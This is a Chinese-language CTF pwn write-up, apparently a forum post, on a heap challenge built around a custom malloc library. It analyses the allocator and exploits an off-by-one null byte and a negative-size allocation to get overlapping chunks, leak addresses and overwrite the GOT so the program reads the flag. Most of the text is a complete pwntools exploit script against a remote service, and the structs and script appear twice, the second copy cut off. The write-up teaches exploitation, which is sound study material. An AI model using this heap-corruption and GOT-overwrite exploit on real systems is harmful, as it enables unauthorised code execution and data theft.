先看保护,Partial RELRO,然后没有canary,然后来看程序的逻辑,并且,这一个题是一个自制的libc库,并不是glibc(第一次打),那就要ida审一下他的libc库了,看一下他的分配器是怎么工作的,审完之后,他的主要逻辑是这样的,malloc会首先check你的size,主要检测对齐和是不是0(没有检测负数溢出问题),然后这里有一个类似于tcache的那个struct一样的管理结构,它是通过一个头节点进行管理,它的数据结构是
它的chunk的结构是
malloc会进行一个遍历,寻找有没有符合要求的chunk,它这里并不是像tcache一样,将相同大小的chunk放到同一个bin,而是单纯的按照这个mmap的页面里还有没有符合自己申请大小的,就连free的时候,都是按照地址范围来进行页面的查询的,如果当前页面剩余的空余大小大于我们需要的,就会将这个chunk通过fetch函数进行分割,然后分配给我们,如果所有页面都已经不够了,就会新mmap一个,然后进行分割,
能看到这个就是那个list head,因为只是一个头节点,所以只保留指针,前面的不需要就都是0
如果当前的free chunk大小合适的话(如果剩余大小-我们的分配大小<=16,会把那16字节也一并给我们),如果空闲大小很大,就会进行分割,并且填写剩余的空间的size以及相关管理结构的指针等
创建页面的一个函数,接收的参数是一个大小,在malloc的最下面有一个最小传入大小的设置,65548,这里的65583是65535 + 48,这个48其实就是页面前面的那6个管理结构元素,mmap之后,就是头部数据的初始化
并且更改list head的指针,将这个页面链入我们的管理结构
传入了chunk的userdata地址,然后对于double free的检测是检查了size的最低bit的use位,然后通过地址范围寻找它该放入的页面,相当于一个合法地址范围检查吧,之后去除use位,然后就是更改各种指针,并且减少头部数据中那个count,然后以free chunk的身份,链入管理结构,不会进行合并
就是双向链表的一个脱链结构,当这个页面所有chunk都被free掉,就会将当前页面释放,然后更改管理结构的链表,至此它的管理结构基本就已经捋完了
看一下程序逻辑,add函数接收一个size,并且这里是没有对size的负数溢出检查,-1警告,然后他会在我们输入的数据末尾补\x00,这次的是可以off by one的,不像某函数(fgets),然后,将size和ptr都放入bss段的一个全局结构体数组,然后edit函数没啥好说的,同样存在这个off by one问题,之后是delete函数,重点关注能不能UAF,能看到这里检查了对应的ptr存在与否和index范围,然后free之后,清除了size和ptr,暂时看不到怎么UAF,继续看show函数,这里,通过puts进行输出,然后看load函数,主要是检查了输入路径中,是否存在flag字段,如果存在调用f_open,这里解题点就立马出来了,之前got表可写,这里如果更改掉他的got表,让他调用r_open就行了,后续就围绕这个做,这里目前看到的手段一个是off by one,一个是负数溢出问题,这个溢出,通过尝试,可以打印一些东西,用于泄露,然后这里反复尝试之后,决定打这个大的页面的off by one,通过溢出一个\00字节,会覆盖到页面管理结构里的那个指向当前第一个空闲空间的指针,这样会出现一些错位,这里我调试发现,原本末尾字节是0xf0,然后剩余空间是0x110,之后通过溢出,就变成了0x00,那么逻辑上剩余空间和我们已经分配的空间就有了重叠,可以通过前面分配的chunk,在对应位置填写size,这样就可以实现一个overlapping,可以任意覆盖下一个页面的管理结构,然后我通过大小为-1的chunk(要通过调试,让他正好处于最后0x10字节),但是他溢出的空间会导致一个\x00截断,导致不能泄露,这里我是通过free掉一个chunk重新覆盖了对应的区域,这样就可以泄露chunk的地址了,任意分配手段,主要是通过这个over lapping更改指向下一个空闲空间的指针,来实现任意分配,此时我们就得到了libc的地址(因为mmap的地址和他相对偏移是固定的,我记得这好像是aslr的等级原因?),之后泄露elf基址很愁人,想了很久,最后暴力搜,直接tele挨个地址段看,在ld段里发现了一个指针指向了elf段,此时怎么泄露是一个问题,因为我们的泄露其实有缺陷,前面的泄露是靠重新覆写地址,来覆盖掉\x00
所以这里找到一个连续指向elf的地址段,注意他在fetch页面之后,会将剩余空间的大小进行一个重新填写,所以如果我们分配一个-1size的chunk到28这里,就会把这0x55fa694c8350-0x10写到38那里,此时就可以泄露了,后面就随便改got拿下了
struct node_header {
void
*
chunk_start;
/
/
v4[
0
] → v4
+
6
usrdata起始位置
void
*
num;
/
/
v4[
1
] → 计数器,记录当前分配了多少个,如果归零的话,会将这个mmap页面munmap
void
*
base;
/
/
v4[
2
] → v4
void
*
end;
/
/
v4[
3
] → v4
+
len
void
*
prev;
/
/
v4[
4
] 双向链表,好像是这个是
next
和prev都可以,但是尾插法有点别扭,所以这里当成头插法比较符合tcache的那种插入方式
void
*
next
;
/
/
v4[
5
]
}
struct node_header {
void
*
chunk_start;
/
/
v4[
0
] → v4
+
6
usrdata起始位置
void
*
num;
/
/
v4[
1
] → 计数器,记录当前分配了多少个,如果归零的话,会将这个mmap页面munmap
void
*
base;
/
/
v4[
2
] → v4
void
*
end;
/
/
v4[
3
] → v4
+
len
void
*
prev;
/
/
v4[
4
] 双向链表,好像是这个是
next
和prev都可以,但是尾插法有点别扭,所以这里当成头插法比较符合tcache的那种插入方式
void
*
next
;
/
/
v4[
5
]
}
struct chunk {
_int64 size;
chunk
*
next
;
userdata
}
struct chunk {
_int64 size;
chunk
*
next
;
userdata
}
v4[
2
]
=
v4;
/
/
start_add
v4[
3
]
=
(char
*
)v4
+
len
;
/
/
end
*
v4
=
v4
+
6
;
/
/
real chunk start,指向了真正的chunk部分
v4[
1
]
=
0LL
;
/
/
计数器归零
v4[
4
]
=
&list_head;
/
/
next
指针指向了head
v4[
5
]
=
qword_4048;
/
/
是直接指向了head的prev指针,
/
/
所以这一段其实就让新节点的prev指向了原本
v4[
2
]
=
v4;
/
/
start_add
v4[
3
]
=
(char
*
)v4
+
len
;
/
/
end
*
v4
=
v4
+
6
;
/
/
real chunk start,指向了真正的chunk部分
v4[
1
]
=
0LL
;
/
/
计数器归零
v4[
4
]
=
&list_head;
/
/
next
指针指向了head
v4[
5
]
=
qword_4048;
/
/
是直接指向了head的prev指针,
/
/
所以这一段其实就让新节点的prev指向了原本
from
pwn
import
*
context(arch
=
'amd64'
, log_level
=
'debug'
, os
=
'linux'
)
def
add_for(p,index,size):
p.recvuntil(b
'Choose an option:'
)
p.sendline(b
'1'
)
p.recvuntil(b
'idx: '
)
p.sendline(
str
(index).encode())
p.recvuntil(b
'size: '
)
p.sendline(
str
(size).encode())
def
add(p,index,size,data):
p.recvuntil(b
'Choose an option:'
)
p.sendline(b
'1'
)
p.recvuntil(b
'idx: '
)
p.sendline(
str
(index).encode())
p.recvuntil(b
'size: '
)
p.sendline(
str
(size).encode())
p.recvuntil(b
'data: '
)
p.send(data)
def
delete(p, index):
p.recvuntil(b
'Choose an option:'
)
p.sendline(b
'3'
)
p.recvuntil(b
'idx: '
)
p.sendline(
str
(index).encode())
def
edit(p, index, data):
p.recvuntil(b
'Choose an option:'
)
p.sendline(b
'2'
)
p.recvuntil(b
'idx: '
)
p.sendline(
str
(index).encode())
p.recvuntil(b
'data: '
)
p.send(data)
def
show(p, index):
p.recvuntil(b
'Choose an option:'
)
p.sendline(b
'4'
)
p.recvuntil(b
'idx: '
)
p.sendline(
str
(index).encode())
def
load(p, index, filename):
p.recvuntil(b
'Choose an option:'
)
p.sendline(b
'5'
)
p.recvuntil(b
'idx: '
)
p.sendline(
str
(index).encode())
p.recvuntil(b
'filename: '
)
p.send(filename)
p
=
remote(
'172.27.80.1'
,
50247
)
elf
=
ELF(
'./vuln'
)
libc
=
ELF(
'./libmylib.so'
)
add(p,
0
,
65440
,b
'a'
)
add(p,
1
,
64688
,b
'a'
)
add(p,
1
,
0x1f0
,b
'a'
)
add(p,
14
,
64702
,b
'a'
)
add(p,
2
,
0x2f0
,b
'b'
*
0x2f0
)
size
=
0x300
-
0x20
-
0xd0
edit(p,
1
,b
'a'
*
0x100
+
p64(size))
add(p,
3
,
0x1e0
,b
'b'
*
0x1d0
)
add(p,
4
,
0x10
,b
'a'
)
add_for(p,
5
,
-
1
)
delete(p,
4
)
show(p,
5
)
leak_add
=
u64(p.recvn(
6
).ljust(
8
,b
'\x00'
))
print
(
'leak_add --------------'
,
hex
(leak_add))
libc_base
=
leak_add
+
0x20
print
(
'libc_base --------------'
,
hex
(libc_base))
add_of_ld
=
libc_base
+
0x40620
add(p,
6
,
65440
,b
'a'
)
add(p,
7
,
64688
,b
'a'
)
add(p,
7
,
0x1f0
,b
'a'
)
add(p,
14
,
64702
,b
'a'
)
add(p,
8
,
0x2f0
,b
'b'
*
0x2f0
)
edit(p,
7
,b
'a'
*
0x100
+
p64(
0x300
))
add(p,
9
,
0x250
,b
'a'
*
0x1f0
+
p64(add_of_ld))
add_for(p,
10
,
-
1
)
p.sendline(b
'1'
)
p.recvuntil(b
'idx: '
)
p.sendline(b
'10'
)
p.recvuntil(b
'size: '
)
p.sendline(b
'-1'
)
show(p,
10
)
leak_elf_add
=
u64(p.recvn(
6
).ljust(
8
,b
'\x00'
))
print
(
'leak_elf_add --------------'
,
hex
(leak_elf_add))
elf_base
=
leak_elf_add
-
0x340
print
(
'elf_base --------------'
,
hex
(elf_base))
f_open_got
=
elf_base
+
elf.got[
'f_open'
]
print
(
'f_open_got --------------'
,
hex
(f_open_got))
init_libmylib_got
=
elf_base
+
elf.got[
'init_libmylib'
]
print
(
'init_libmylib_got --------------'
,
hex
(init_libmylib_got))
r_open
=
libc_base
+
libc.symbols[
'r_open'
]
print
(
'r_open --------------'
,
hex
(r_open))
edit(p,
9
,
0x1f0
*
b
'a'
+
p64(init_libmylib_got))
read_add
=
libc_base
+
libc.symbols[
'read'
]
memset_add
=
libc_base
+
libc.symbols[
'memset'
]
r_open_add
=
libc_base
+
libc.symbols[
'r_open'
]
exit_add
=
libc_base
+
libc.symbols[
'exit'
]
close_add
=
libc_base
+
libc.symbols[
'close'
]
free_add
=
libc_base
+
libc.symbols[
'free'
]
payload
=
p64(read_add)
+
p64(memset_add)
+
p64(r_open_add)
+
p64(r_open_add)
+
p64(exit_add)
+
p64(close_add)
+
p64(free_add)
add(p,
12
,
0x50
,payload)
load(p,
2
,b
'flag'
)
show(p,
2
)
p.interactive()
from
pwn
import
*
context(arch
=
'amd64'
, log_level
=
'debug'
, os
=
'linux'
)
def
add_for(p,index,size):
p.recvuntil(b
'Choose an option:'
)
p.sendline(b
'1'
)
p.recvuntil(b
'idx: '
)
p.sendline(
str
(index).encode())
p.recvuntil(b
'size: '
)
p.sendline(
str
(size).encode())
def
add(p,index,size,data):
p.recvuntil(b
'Choose an option:'
)
p.sendline(b
'1'
)
p.recvuntil(b
'idx: '
)
p.sendline(
str
(index).encode())
p.recvuntil(b
'size: '
)
p.sendline(
str
(size).encode())
p.recvuntil(b
'data: '
)
p.send(data)
def
delete(p, index):
p.recvuntil(b
'Choose an option:'
)
p.sendline(b
'3'
)
p.recvuntil(b
'idx: '
)
p.sendline(
str
(index).encode())
def
edit(p, index, data):
p.recvuntil(b
'Choose an option:'
)
p.sendline(b
'2'
)
p.recvuntil(b
'idx: '
)
p.sendline(
str
(index).encode())
p.recvuntil(b
'data: '
)
p.send(data)
def
show(p, index):
p.recvuntil(b
'Choose an option:'
)
p.sendline(b
'4'
)
p.recvuntil(b
'idx: '
)
p.sendline(
str
(index).encode())
def
load(p, index, filename):
p.recvuntil(b
'Choose an option:'
)
p.sendline(b
'5'
)
p.recvuntil(b
'idx: '
)
p.sendline(
str
(index).encode())
p.recvuntil(b
'filename: '
)
p.send(filename)
p
=
remote(
'172.27.80.1'
,
50247
)
elf
=
ELF(
'./vuln'
)
libc
=
ELF(
'./libmylib.so'
)
add(p,
0
,
65440
,b
'a'
)
最后于 5小时前
被pwnlhy编辑
,原因: 图片问题
上传的附件: